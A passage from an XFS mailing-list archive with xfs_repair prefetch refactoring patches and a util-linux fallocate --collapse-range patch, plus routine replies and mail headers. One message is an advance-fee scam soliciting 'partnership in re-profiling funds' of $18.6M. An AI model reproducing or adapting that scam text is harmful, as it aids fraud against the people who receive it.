mp->m_sb.sb_agcount, + dirs_only, func); return; } @@ -919,20 +955,27 @@ do_inode_prefetch( * create one worker thread for each segment of the volume */ queues = malloc(thread_count * sizeof(work_queue_t)); - for (i = 0, agno = 0; i < thread_count; i++) { + for (i = 0; i < thread_count; i++) { + struct pf_work_args *wargs; + + wargs = malloc(sizeof(struct pf_work_args)); + wargs->start_ag = i * stride; + wargs->end_ag = min((i + 1) * stride, + mp->m_sb.sb_agcount); + wargs->dirs_only = dirs_only; + wargs->func = func; + create_work_queue(&queues[i], mp, 1); - pf_args[0] = NULL; - for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; - j++, agno++) { - pf_args[0] = start_inode_prefetch(agno, dirs_only, - pf_args[0]); - queue_work(&queues[i], func, agno, pf_args[0]); - } + queue_work(&queues[i], prefetch_ag_range_work, 0, wargs); + + if (wargs->end_ag >= mp->m_sb.sb_agcount) + break; } + /* * wait for workers to complete */ - for (i = 0; i < thread_count; i++) + for (; i >= 0; i--) destroy_work_queue(&queues[i]); free(queues); } -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9FE157F56 for ; Thu, 27 Feb 2014 03:51:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 629088F8039 for ; Thu, 27 Feb 2014 01:51:39 -0800 (PST) X-ASG-Debug-ID: 1393494694-04bdf05dac98a60003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id AMl4EmNMVR9LFQ8e for ; Thu, 27 Feb 2014 01:51:36 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArENAEIKD1N5LJYe/2dsb2JhbABagwY7qQAEmXIXdIIlAQEFJy8zCBgxOQMbGYd4ylmTEgSZapB3g0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bv-Bz for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007sR-Ay for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/10] repair: factor out threading setup code Date: Thu, 27 Feb 2014 20:51:13 +1100 X-ASG-Orig-Subj: [PATCH 08/10] repair: factor out threading setup code Message-Id: <1393494675-30194-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494696 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The same code is repeated in different places to set up multithreaded prefetching. This can all be factored into a single implementation. Signed-off-by: Dave Chinner --- repair/dinode.h | 15 ++++++------ repair/phase3.c | 40 +++---------------------------- repair/phase4.c | 48 +++---------------------------------- repair/phase6.c | 22 ++++------------- repair/prefetch.c | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/prefetch.h | 10 ++++++++ 6 files changed, 98 insertions(+), 108 deletions(-) diff --git a/repair/dinode.h b/repair/dinode.h index 7521521..5ee51ca 100644 --- a/repair/dinode.h +++ b/repair/dinode.h @@ -18,9 +18,8 @@ #ifndef _XR_DINODE_H #define _XR_DINODE_H -#include "prefetch.h" - struct blkmap; +struct prefetch_args; int verify_agbno(xfs_mount_t *mp, @@ -103,12 +102,12 @@ int process_uncertain_aginodes(xfs_mount_t *mp, xfs_agnumber_t agno); void -process_aginodes(xfs_mount_t *mp, - prefetch_args_t *pf_args, - xfs_agnumber_t agno, - int check_dirs, - int check_dups, - int extra_attr_check); +process_aginodes(xfs_mount_t *mp, + struct prefetch_args *pf_args, + xfs_agnumber_t agno, + int check_dirs, + int check_dups, + int extra_attr_check); void check_uncertain_aginodes(xfs_mount_t *mp, diff --git a/repair/phase3.c b/repair/phase3.c index 3e43938..213d368 100644 --- a/repair/phase3.c +++ b/repair/phase3.c @@ -17,6 +17,8 @@ */ #include +#include "threads.h" +#include "prefetch.h" #include "avl.h" #include "globals.h" #include "agheader.h" @@ -24,9 +26,7 @@ #include "protos.h" #include "err_protos.h" #include "dinode.h" -#include "threads.h" #include "progress.h" -#include "prefetch.h" static void process_agi_unlinked( @@ -82,41 +82,7 @@ static void process_ags( xfs_mount_t *mp) { - int i, j; - xfs_agnumber_t agno; - work_queue_t *queues; - prefetch_args_t *pf_args[2]; - - queues = malloc(thread_count * sizeof(work_queue_t)); - - if (ag_stride) { - /* - * create one worker thread for each segment of the volume - */ - for (i = 0, agno = 0; i < thread_count; i++) { - create_work_queue(&queues[i], mp, 1); - pf_args[0] = NULL; - for (j = 0; j < ag_stride && agno < mp->m_sb.sb_agcount; - j++, agno++) { - pf_args[0] = start_inode_prefetch(agno, 0, pf_args[0]); - queue_work(&queues[i], process_ag_func, agno, pf_args[0]); - } - } - /* - * wait for workers to complete - */ - for (i = 0; i < thread_count; i++) - destroy_work_queue(&queues[i]); - } else { - queues[0].mp = mp; - pf_args[0] = start_inode_prefetch(0, 0, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 0, - pf_args[i & 1]); - process_ag_func(&queues[0], i, pf_args[i & 1]); - } - } - free(queues); + do_inode_prefetch(mp, ag_stride, process_ag_func, false, false); } void diff --git a/repair/phase4.c b/repair/phase4.c index a822aaa..189eeb9 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -17,6 +17,8 @@ */ #include +#include "threads.h" +#include "prefetch.h" #include "avl.h" #include "globals.h" #include "agheader.h" @@ -27,9 +29,7 @@ #include "bmap.h" #include "versions.h" #include "dir2.h" -#include "threads.h" #include "progress.h" -#include "prefetch.h" /* @@ -150,49 +150,7 @@ static void process_ags( xfs_mount_t *mp) { - int i, j; - xfs_agnumber_t agno; - work_queue_t *queues; - prefetch_args_t *pf_args[2]; - - queues = malloc(thread_count * sizeof(work_queue_t)); - - if (!libxfs_bcache_overflowed()) { - queues[0].mp = mp; - create_work_queue(&queues[0], mp, libxfs_nproc()); - for (i = 0; i < mp->m_sb.sb_agcount; i++) - queue_work(&queues[0], process_ag_func, i, NULL); - destroy_work_queue(&queues[0]); - } else { - if (ag_stride) { - /* - * create one worker thread for each segment of the volume - */ - for (i = 0, agno = 0; i < thread_count; i++) { - create_work_queue(&queues[i], mp, 1); - pf_args[0] = NULL; - for (j = 0; j < ag_stride && agno < mp->m_sb.sb_agcount; - j++, agno++) { - pf_args[0] = start_inode_prefetch(agno, 0, pf_args[0]); - queue_work(&queues[i], process_ag_func, agno, pf_args[0]); - } - } - /* - * wait for workers to complete - */ - for (i = 0; i < thread_count; i++) - destroy_work_queue(&queues[i]); - } else { - queues[0].mp = mp; - pf_args[0] = start_inode_prefetch(0, 0, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, - 0, pf_args[i & 1]); - process_ag_func(&queues[0], i, pf_args[i & 1]); - } - } - } - free(queues); + do_inode_prefetch(mp, ag_stride, process_ag_func, true, false); } diff --git a/repair/phase6.c b/repair/phase6.c index 63359d1..446f3ee 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -17,6 +17,8 @@ */ #include +#include "threads.h" +#include "prefetch.h" #include "avl.h" #include "globals.h" #include "agheader.h" @@ -25,9 +27,7 @@ #include "protos.h" #include "err_protos.h" #include "dinode.h" -#include "prefetch.h" #include "progress.h" -#include "threads.h" #include "versions.h" static struct cred zerocr; @@ -3039,23 +3039,9 @@ update_missing_dotdot_entries( static void traverse_ags( - xfs_mount_t *mp) + struct xfs_mount *mp) { - int i; - work_queue_t queue; - prefetch_args_t *pf_args[2]; - - /* - * we always do prefetch for phase 6 as it will fill in the gaps - * not read during phase 3 prefetch. - */ - queue.mp = mp; - pf_args[0] = start_inode_prefetch(0, 1, NULL); - for (i = 0; i < glob_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, - pf_args[i & 1]); - traverse_function(&queue, i, pf_args[i & 1]); - } + do_inode_prefetch(mp, 0, traverse_function, false, true); } void diff --git a/repair/prefetch.c b/repair/prefetch.c index 946e822..aee6342 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -866,6 +866,77 @@ start_inode_prefetch( return args; } +/* + * Do inode prefetch in the most optimal way for the context under which repair + * has been run. + */ +void +do_inode_prefetch( + struct xfs_mount *mp, + int stride, + void (*func)(struct work_queue *, + xfs_agnumber_t, void *), + bool check_cache, + bool dirs_only) +{ + int i, j; + xfs_agnumber_t agno; + struct work_queue queue; + struct work_queue *queues; + struct prefetch_args *pf_args[2]; + + /* + * If the previous phases of repair have not overflowed the buffer + * cache, then we don't need to re-read any of the metadata in the + * filesystem - it's all in the cache. In that case, run a thread per + * CPU to maximise parallelism of the queue to be processed. + */ + if (check_cache && !libxfs_bcache_overflowed()) { + queue.mp = mp; + create_work_queue(&queue, mp, libxfs_nproc()); + for (i = 0; i < mp->m_sb.sb_agcount; i++) + queue_work(&queue, func, i, NULL); + destroy_work_queue(&queue); + return; + } + + /* + * single threaded behaviour - single prefetch thread, processed + * directly after each AG is queued. + */ + if (!stride) { + queue.mp = mp; + pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); + for (i = 0; i < mp->m_sb.sb_agcount; i++) { + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, + dirs_only, pf_args[i & 1]); + func(&queue, i, pf_args[i & 1]); + } + return; + } + + /* + * create one worker thread for each segment of the volume + */ + queues = malloc(thread_count * sizeof(work_queue_t)); + for (i = 0, agno = 0; i < thread_count; i++) { + create_work_queue(&queues[i], mp, 1); + pf_args[0] = NULL; + for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; + j++, agno++) { + pf_args[0] = start_inode_prefetch(agno, dirs_only, + pf_args[0]); + queue_work(&queues[i], func, agno, pf_args[0]); + } + } + /* + * wait for workers to complete + */ + for (i = 0; i < thread_count; i++) + destroy_work_queue(&queues[i]); + free(queues); +} + void wait_for_inode_prefetch( prefetch_args_t *args) diff --git a/repair/prefetch.h b/repair/prefetch.h index 44a406c..b837752 100644 --- a/repair/prefetch.h +++ b/repair/prefetch.h @@ -4,6 +4,7 @@ #include #include "incore.h" +struct work_queue; extern int do_prefetch; @@ -41,6 +42,15 @@ start_inode_prefetch( prefetch_args_t *prev_args); void +do_inode_prefetch( + struct xfs_mount *mp, + int stride, + void (*func)(struct work_queue *, + xfs_agnumber_t, void *), + bool check_cache, + bool dirs_only); + +void wait_for_inode_prefetch( prefetch_args_t *args); -- 1.8.4.rc3 From tkg@mail.hk Thu Feb 27 03:59:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 284787F53 for ; Thu, 27 Feb 2014 03:59:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6079AC005 for ; Thu, 27 Feb 2014 01:59:04 -0800 (PST) X-ASG-Debug-ID: 1393495142-04cbb066e493ea0001-NocioJ Received: from mail.kobe-du.ac.jp (kdu-fwu.kobe-du.ac.jp [133.32.203.119]) by cuda.sgi.com with ESMTP id X8HgpKJAJIXnHeVi for ; Thu, 27 Feb 2014 01:59:02 -0800 (PST) X-Barracuda-Envelope-From: tkg@mail.hk X-Barracuda-Apparent-Source-IP: 133.32.203.119 Received: from kobe-du.ac.jp (unknown [133.32.201.90]) by mail.kobe-du.ac.jp (Postfix) with SMTP id 9A8C3581DF3; Thu, 27 Feb 2014 18:57:46 +0900 (JST) MIME-Version: 1.0 Message-ID: <20140227095746.00002144.0639@kobe-du.ac.jp> Date: Thu, 27 Feb 2014 18:57:46 +0900 From: "Tan Kong" Sender: To: Reply-To: Subject: =?UTF-8?B?RllJPz8=?= Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: =?UTF-8?B?RllJPz8=?= Content-Transfer-Encoding: 7bit X-Priority: 1 ORGANIZATION: PUB X-MAILER: Active! mail X-Barracuda-Connect: kdu-fwu.kobe-du.ac.jp[133.32.203.119] X-Barracuda-Start-Time: 1393495142 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC7_SA298c, BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 1.00 BSF_SC7_SA298c Custom Rule SA298c 0.20 BSF_SC7_SA298e Custom Rule SA298e Hello, I am asking for your partnership in re-profiling funds $18,6M dollars reply for more details. Regards, Tan Kong From dongsu.park@profitbricks.com Thu Feb 27 04:27:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 726827F3F for ; Thu, 27 Feb 2014 04:27:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0CAEBAC004 for ; Thu, 27 Feb 2014 02:27:36 -0800 (PST) X-ASG-Debug-ID: 1393496848-04bdf05daa9b020001-NocioJ Received: from mail-ee0-f42.google.com (mail-ee0-f42.google.com [74.125.83.42]) by cuda.sgi.com with ESMTP id 9m5snNeEOIjiUIPx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 27 Feb 2014 02:27:29 -0800 (PST) X-Barracuda-Envelope-From: dongsu.park@profitbricks.com X-Barracuda-Apparent-Source-IP: 74.125.83.42 Received: by mail-ee0-f42.google.com with SMTP id d17so1294857eek.1 for ; Thu, 27 Feb 2014 02:27:28 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=bo8nnBNViJCGcDUikTSMbnx6PYHQdDnaJQQZBRCnPIc=; b=YhPqnN+KWIcVYqTwmcDTsCIwJlvBGAXiFi0+o9EH/01ZjD+FLCOsXVKpDYKZqKV5EZ KEK0xjjSk1XweYNlOrAoXPSr0F2uloos589WpndJjYgJBqjWyYnoM1HPoI4dH4DPIzfQ OfIhSWfVdjpeBLbtB6ZHOYOkJQ8RzY+iKTn/KS4bBOBj5NOx7PZdmZa94NhB2gFicMcH wjo0DORwcCQFiOfPiU+vpyMZaqH0mO57S4dvuih6mIw2Fsg//8K2EwD/ehBPzyyWWWmU pEOLHmQT/MB+KPXGNaoux6irS3VdA/z8VQ5CnZZOg2wk5l8+vMXu4mihOXSvyaFSUE66 RQhw== X-Gm-Message-State: ALoCoQkxdqcGFZ9MqA2dp7QZ+mR3VvzFhHYGkBkhgy+EjXLZ/k+hWWl7RsCgxLnlvL7N60mSRyu1 X-Received: by 10.14.201.8 with SMTP id a8mr74971eeo.114.1393496848266; Thu, 27 Feb 2014 02:27:28 -0800 (PST) Received: from gmail.com ([62.217.45.26]) by mx.google.com with ESMTPSA id l4sm15122511eeo.9.2014.02.27.02.27.12 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 27 Feb 2014 02:27:26 -0800 (PST) Date: Thu, 27 Feb 2014 11:27:05 +0100 From: Dongsu Park To: Dave Chinner Cc: Namjae Jeon , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, tytso@mit.edu, Lukas Czerner , Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE Message-ID: <20140227102704.GB29013@gmail.com> X-ASG-Orig-Subj: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE References: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> <20140225193101.GW13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20140225193101.GW13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-ee0-f42.google.com[74.125.83.42] X-Barracuda-Start-Time: 1393496849 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145565 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, On 26.02.2014 06:31, Dave Chinner wrote: > FYI, we've already got support in xfs_io for collapse-range tests > inside xfstests. > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfsprogs.git;a=commit;h=ca692f162d36c871c9c1b6169136b2c70503f2d8 > There are already several tests that use it. Thanks for the info! Dongsu From dongsu.park@profitbricks.com Thu Feb 27 04:35:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47D097F3F for ; Thu, 27 Feb 2014 04:35:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C49ABAC005 for ; Thu, 27 Feb 2014 02:35:51 -0800 (PST) X-ASG-Debug-ID: 1393497348-04bdf05dab9b8f0001-NocioJ Received: from mail-ee0-f41.google.com (mail-ee0-f41.google.com [74.125.83.41]) by cuda.sgi.com with ESMTP id 1VLITwawSxvsWMDR (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 27 Feb 2014 02:35:49 -0800 (PST) X-Barracuda-Envelope-From: dongsu.park@profitbricks.com X-Barracuda-Apparent-Source-IP: 74.125.83.41 Received: by mail-ee0-f41.google.com with SMTP id b15so1289259eek.14 for ; Thu, 27 Feb 2014 02:35:48 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=sYJcH8FlP6NZskJDsoFpgeIvQsm1WJHwYv5/0HPjdzU=; b=j2Z0Jc50ebv4gDtZ4aWZEhiKj+n68SPc1PwTZejvn5Zff+WwsZSM60cQGsLM9DuU0t WGTMjn2D8KBoerpt57HBd6cF6rWjs+FrbMGiLhOxPp0s7tvTZinuhRFsgCYHt5e/BbEN jLBOLvKbbqAd/M+were2N3asSgeQvhvA1104OpjzN1mq8WTgOvNrFhaqHp61bCwfzQnd +9yWnNAy9GoyK07vVbwI8/rUhIUBMqHd4clm1dspsqDsA1CxLeOxoC1s9d5fcmqH8SWr uD9fUkPx8qCiwtuK2FzJkoEnDXKiKII6HesqPLEVJOdDud78hcVmgnpG15Q3+jKoWSH1 ZUig== X-Gm-Message-State: ALoCoQlfbZ7sg+myUkTjMeST0O+npd5lNR8SsOqVlLkghxwpLg7Hv8pNphLUxZlf6WHfAy9C2idO X-Received: by 10.14.213.135 with SMTP id a7mr12744128eep.57.1393497347895; Thu, 27 Feb 2014 02:35:47 -0800 (PST) Received: from dseoul.local ([62.217.45.26]) by mx.google.com with ESMTPSA id x6sm15343113eew.20.2014.02.27.02.35.44 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 27 Feb 2014 02:35:47 -0800 (PST) From: Dongsu Park To: Namjae Jeon Cc: Karel Zak , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, tytso@mit.edu, Lukas Czerner , Namjae Jeon , Ashish Sangwan , Dongsu Park Subject: [PATCH v2] util-linux/fallocate: introduce an option -c to support COLLAPSE_RANGE Date: Thu, 27 Feb 2014 11:35:07 +0100 X-ASG-Orig-Subj: [PATCH v2] util-linux/fallocate: introduce an option -c to support COLLAPSE_RANGE Message-Id: <1393497307-9205-1-git-send-email-dongsu.park@profitbricks.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: References: X-Barracuda-Connect: mail-ee0-f41.google.com[74.125.83.41] X-Barracuda-Start-Time: 1393497348 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145565 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dongsu Park Introduce a new option -c (or --collapse-range) to support a new flag FALLOC_FL_COLLAPSE_RANGE for fallocate(2). It will nullify a particular range [offset, offset+len] by shifting extents beyond the range to the beginning of the hole. To test that, it's necessary to apply kernel patches in the patchset "fs: Introduce new flag (FALLOC_FL_COLLAPSE_RANGE) for fallocate" [1], as well as "[PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate". [2] As discussed in the thread "[PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate", [3] this patch to util-linux will be useful for testing collapse-range with fsstress. [1] https://lkml.org/lkml/2014/2/18/374 [2] https://lkml.org/lkml/2014/2/20/318 [3] https://lkml.org/lkml/2014/2/18/83 Cc: Karel Zak Cc: Lukas Czerner Cc: Namjae Jeon Cc: Ashish Sangwan Signed-off-by: Dongsu Park --- Changelog: v2: - update patch description by replacing xfstests with fsstress - update help message by replacing hole with space sys-utils/fallocate.1 | 7 +++++++ sys-utils/fallocate.c | 45 ++++++++++++++++++++++++++++----------------- 2 files changed, 35 insertions(+), 17 deletions(-) diff --git a/sys-utils/fallocate.1 b/sys-utils/fallocate.1 index 8a3aa4f..634c595 100644 --- a/sys-utils/fallocate.1 +++ b/sys-utils/fallocate.1 @@ -6,6 +6,7 @@ fallocate \- preallocate or deallocate space to a file .B fallocate .RB [ \-n ] .RB [ \-p ] +.RB [ \-c ] .RB [ \-o .IR offset ] .B \-l @@ -54,6 +55,12 @@ implied. .IP You can think of this as doing a "\fBcp --sparse\fP" and renaming the dest file as the original, without the need for extra disk space. +.IP "\fB\-c, \-\-collapse-range\fP" +Collapse a particular file range to nullify the hole. Extents beyond the range +[offset, offset+length] will be shifted to the beginning of hole. Hence this +command does not leave a hole, while \fI\-\-punch-hole\fP leaves a hole +instead of shifting extents. Both offset and length should be aligned to +the block size of filesystem. .IP "\fB\-o, \-\-offset\fP \fIoffset\fP Specifies the beginning offset of the allocation, in bytes. .IP "\fB\-l, \-\-length\fP \fIlength\fP diff --git a/sys-utils/fallocate.c b/sys-utils/fallocate.c index d8a74bf..3c8a8d2 100644 --- a/sys-utils/fallocate.c +++ b/sys-utils/fallocate.c @@ -39,7 +39,8 @@ #endif #if defined(HAVE_LINUX_FALLOC_H) && \ - (!defined(FALLOC_FL_KEEP_SIZE) || !defined(FALLOC_FL_PUNCH_HOLE)) + (!defined(FALLOC_FL_KEEP_SIZE) || !defined(FALLOC_FL_PUNCH_HOLE) || \ + !defined(FALLOC_FL_COLLAPSE_RANGE)) # include /* non-libc fallback for FALLOC_FL_* flags */ #endif @@ -51,6 +52,10 @@ # define FALLOC_FL_PUNCH_HOLE 2 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +# define FALLOC_FL_COLLAPSE_RANGE 8 +#endif + #include "nls.h" #include "strutils.h" #include "c.h" @@ -66,12 +71,13 @@ static void __attribute__((__noreturn__)) usage(FILE *out) fprintf(out, _(" %s [options] \n"), program_invocation_short_name); fputs(USAGE_OPTIONS, out); - fputs(_(" -d, --dig-holes detect and dig holes\n"), out); - fputs(_(" -l, --length length of the (de)allocation, in bytes\n"), out); - fputs(_(" -n, --keep-size don't modify the length of the file\n"), out); - fputs(_(" -o, --offset offset of the (de)allocation, in bytes\n"), out); - fputs(_(" -p, --punch-hole punch holes in the file\n"), out); - fputs(_(" -v, --verbose verbose mode\n"), out); + fputs(_(" -c, --collapse-range collapse space in the file\n"), out); + fputs(_(" -d, --dig-holes detect and dig holes\n"), out); + fputs(_(" -l, --length length of the (de)allocation, in bytes\n"), out); + fputs(_(" -n, --keep-size don't modify the length of the file\n"), out); + fputs(_(" -o, --offset offset of the (de)allocation, in bytes\n"), out); + fputs(_(" -p, --punch-hole punch holes in the file\n"), out); + fputs(_(" -v, --verbose verbose mode\n"), out); fputs(USAGE_SEPARATOR, out); fputs(USAGE_HELP, out); @@ -258,15 +264,16 @@ int main(int argc, char **argv) loff_t offset = 0; static const struct option longopts[] = { - { "help", 0, 0, 'h' }, - { "version", 0, 0, 'V' }, - { "keep-size", 0, 0, 'n' }, - { "punch-hole", 0, 0, 'p' }, - { "dig-holes", 0, 0, 'd' }, - { "offset", 1, 0, 'o' }, - { "length", 1, 0, 'l' }, - { "verbose", 0, 0, 'v' }, - { NULL, 0, 0, 0 } + { "help", 0, 0, 'h' }, + { "version", 0, 0, 'V' }, + { "keep-size", 0, 0, 'n' }, + { "punch-hole", 0, 0, 'p' }, + { "collapse-range", 0, 0, 'c' }, + { "dig-holes", 0, 0, 'd' }, + { "offset", 1, 0, 'o' }, + { "length", 1, 0, 'l' }, + { "verbose", 0, 0, 'v' }, + { NULL, 0, 0, 0 } }; setlocale(LC_ALL, ""); @@ -274,7 +281,8 @@ int main(int argc, char **argv) textdomain(PACKAGE); atexit(close_stdout); - while ((c = getopt_long(argc, argv, "hvVnpdl:o:", longopts, NULL)) != -1) { + while ((c = getopt_long(argc, argv, "hvVncpdl:o:", longopts, NULL)) + != -1) { switch(c) { case 'h': usage(stdout); @@ -282,6 +290,9 @@ int main(int argc, char **argv) case 'V': printf(UTIL_LINUX_VERSION); return EXIT_SUCCESS; + case 'c': + mode |= FALLOC_FL_COLLAPSE_RANGE; + break; case 'p': mode |= FALLOC_FL_PUNCH_HOLE; /* fall through */ -- 1.8.5.3 From lczerner@redhat.com Thu Feb 27 05:48:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7A5AB7F3F for ; Thu, 27 Feb 2014 05:48:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA650AC004 for ; Thu, 27 Feb 2014 03:48:53 -0800 (PST) X-ASG-Debug-ID: 1393501732-04cbb066e69ad00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by 